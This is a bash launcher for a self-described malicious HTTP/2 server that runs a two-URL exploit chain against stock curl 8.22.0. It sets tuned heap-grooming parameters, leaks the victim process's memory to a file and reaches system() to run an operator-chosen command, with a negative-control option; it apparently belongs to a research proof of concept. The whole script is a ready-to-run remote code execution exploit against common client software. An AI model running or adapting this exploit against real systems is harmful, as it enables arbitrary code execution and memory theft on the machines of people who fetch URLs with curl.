#!/bin/bash
# usage: ./run_server.sh PORT        (single-shot: serves one victim run, then exits; give it ~3 s to start; stderr = the log)
# Malicious HTTP/2 server: two-URL parallel chain against stock curl 8.22.0 release (PIE, ASLR on), victim WITHOUT -k.
set -u
PORT=${1:?port}; HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/server"; mkdir -p "$HERE/out"   # out/leak.bin = the raw leaked bytes of the last run (victim process memory — do not redistribute)
# ---- the frozen knobs of the chain; REPORT.md section 7 explains what they mean ----
export F1_CERT="${F1_CERT:-$HERE/ca/server.pem}"      # leaf+chain the victim must trust (see ca/README-ca.md); any key+cert+chain PEM works
export F1_TAKEOVER=1 F1_FAKE="$HERE/server/stage1_z.bin"
export Z2_JMOD=2 Z2_B_MODE=interim Z2_A3_MODE=split Z2_LATCH_MODE=s100 Z2_SPLICE=0 Z2_FREE_GAP=1.2 Z2_RUN_SECS=26 Z2_LINGER=27
export Z2_GATE_C2=1 Z2_C2_CLOSE=0 Z2_B_PRIME=65070,16586
export Z2_TAIL="$HERE/server/z_tail_g.py" ZT_MODE=chain2 ZT_OUTDIR="${ZT_OUTDIR:-$HERE/out}"
export ZT_PLAN="refill+300: fake2 2840; refill+500: spliceG 1"
export ZT_BSTAT=1000 ZT_V1=34660 ZT_V3=3000,2592 ZT_CARVEV=36196,35996 ZT_NPARK=4 ZT_TDRAIN=16 ZT_W1N=8 ZT_W1_GAP=0.3 ZT_DOWN=0x18300 ZT_OVER=0x182f0 ZT_Q1=16383
# knobs for the operator (all optional):
#   ZT_CMD='<command, max 23 bytes>'   payload; default: id>mk_<random nonce>  (relative path = the victim's current directory)
#   ZT_SYS_DELTA=0x1a0000              NEGATIVE CONTROL: deliberately wrong system() address -> leak still printed, no marker, curl SIGSEGVs (exit 139) at printed_base+0x58750+delta. (Don't use tiny deltas: system+0x10 is system(NULL)'s branch and just returns.)
exec python3 h2srv_gate.py "$PORT" scenario_z2.py --tls